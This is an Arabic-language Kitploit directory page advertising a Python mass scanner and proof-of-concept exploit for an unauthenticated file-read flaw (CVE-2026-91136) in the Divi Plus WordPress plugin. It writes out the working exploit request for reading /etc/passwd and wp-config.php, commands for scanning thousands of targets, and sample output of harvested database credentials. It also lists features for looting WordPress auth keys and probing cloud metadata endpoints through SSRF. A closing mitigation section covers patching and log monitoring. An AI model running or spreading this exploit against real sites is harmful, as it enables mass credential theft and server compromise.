Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-91136 — ماسح ضخم واستغلال PoC للثغرة CVE-2026-91136، وهي قراءة ملفات تعسفية دون مصادقة في إضافة Divi Plus لـ WordPress عبر معامل REST الخاص بـ svg_image. | Kitploit
أدوات/GitHubGitHub/fl0ydsec/cve-2026-91136
الاستطلاعماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتأمن الويب
GitHubfl0ydsec/cve-2026-91136

CVE-2026-91136

ماسح ضخم واستغلال PoC للثغرة CVE-2026-91136، وهي قراءة ملفات تعسفية دون مصادقة في إضافة Divi Plus لـ WordPress عبر معامل REST الخاص بـ svg_image.

2منذ 24 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-91136 — Divi Plus ≤ 2.4.0 — إثبات مفهوم لقراءة ملفات عشوائية دون مصادقة

Divi Plus (Elicus) — إضافة WordPress ≤ 2.4.0 — قراءة ملفات عشوائية دون مصادقة عبر المعامل svg_image في مساحة أسماء REST التابعة لـ elicus/v1.

CVE-2026-91136 CVSS WordPress Auth

Author Python Telegram


📋 نظرة عامة على الثغرة

السمةالتفاصيل
معرّف CVECVE-2026-91136
سلسلة الاستغلالsvg_image → file_get_contents() (بديل wp_remote_get) → JSON html
الخطورة🟠 عالية (CVSS 7.5)
الهدفDivi Plus (Divi Extended / Elicus)
الإصدارات المتأثرة≤ 2.4.0
الإصدار المُصلَح2.4.1
المصادقة المطلوبةلا شيء

🔍 الوصف التقني

تُرجع الدالة SVGAnimatorController::index_permission القيمة true دون أي شرط، لذا يمكن الوصول إلى نقطة النهاية /wp-json/elicus/v1/dipl-modules/svg-animator دون مصادقة. يمر مُدخل svg_image فقط عبر sanitize_text_field() وesc_html() — وهما لا يقيّدان مسارات نظام الملفات، ولا غلاف تدفق file://، ولا عناوين URL البعيدة — قبل تمريره إلى file_get_contents() (مع بديل wp_remote_get()). يُعاد جسم الاستجابة الخام في حقل JSON المسمّى html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

التأثير: قراءة /etc/passwd، وwp-config.php (بيانات اعتماد قاعدة البيانات + مفاتيح التشفير)، والبيانات الوصفية السحابية عبر SSRF (169.254.169.254 / GCP / Azure / DO / OCI)، و.env وأي ملف آخر يستطيع مستخدم الويب قراءته.


🚀 الاستخدام

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
الخيارالوصف
-u/--url URLهدف واحد
-i/--input FILEملف الأهداف، هدف واحد في كل سطر (يُسمح بتعليقات #)
-t/--threads Nعدد الخيوط (يُطلب تفاعليًا إذا لم يُحدَّد)
--timeout Nمهلة الطلب (الافتراضي 12)
-q/--quietإظهار النتائج الإيجابية فقط؛ والباقي يذهب إلى العدّاد المضمّن
-v/--verboseإظهار سطر واحد لكل هدف
-o/--output FILEكتابة النتائج إلى JSONL + FILE.hits.txt

📊 المخرجات

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980
  • شريط تقدم حي على سطر واحد: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
  • results.hits.txt — الأهداف المؤكدة القابلة للاستغلال فقط

⚙️ الميزات

  • البصمة: استجابة نقطة نهاية svg-animator + الإصدار عبر أصول divi-plus ?ver=
  • أداة استعلام الإصدار: الفرع القابل للاستغلال يعيد محتويات الملفات؛ النسخة المُرقّعة/WAF تعيد 403/فارغ
  • اكتشاف wp-config.php: مرشحات ثابتة + أدلة /home/<user>/ الحقيقية المستخرجة من /etc/passwd
  • فحوصات SSRF: نقاط نهاية البيانات الوصفية لـ AWS / GCP / Azure / DigitalOcean / OCI
  • استخراج الغنائم: بيانات اعتماد قاعدة البيانات + مفاتيح مصادقة WordPress، مع روابط مباشرة قابلة لإعادة الاستخدام لكل اكتشاف
  • الوضع الجماعي: تجمّع خيوط، إزالة التكرار، إحصاء حي ✓/✗، تصدير JSONL + hits

📁 بنية الملفات

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ إخلاء المسؤولية

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ التخفيف

  1. قم بتحديث Divi Plus إلى الإصدار 2.4.1 (أو أحدث)
  2. قم بتدوير أي بيانات اعتماد تم كشفها عبر قراءة الملفات
  3. احظر GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator على جدار الحماية WAF
  4. راقب السجلات بحثًا عن قيم svg_image التي تحتوي على file:// أو /etc/ أو عناوين IP الخاصة بالبيانات الوصفية

👤 المؤلف

fl0ydsec (Floydroot)

GitHub Telegram

البحث الأمني

تنزيل الأداة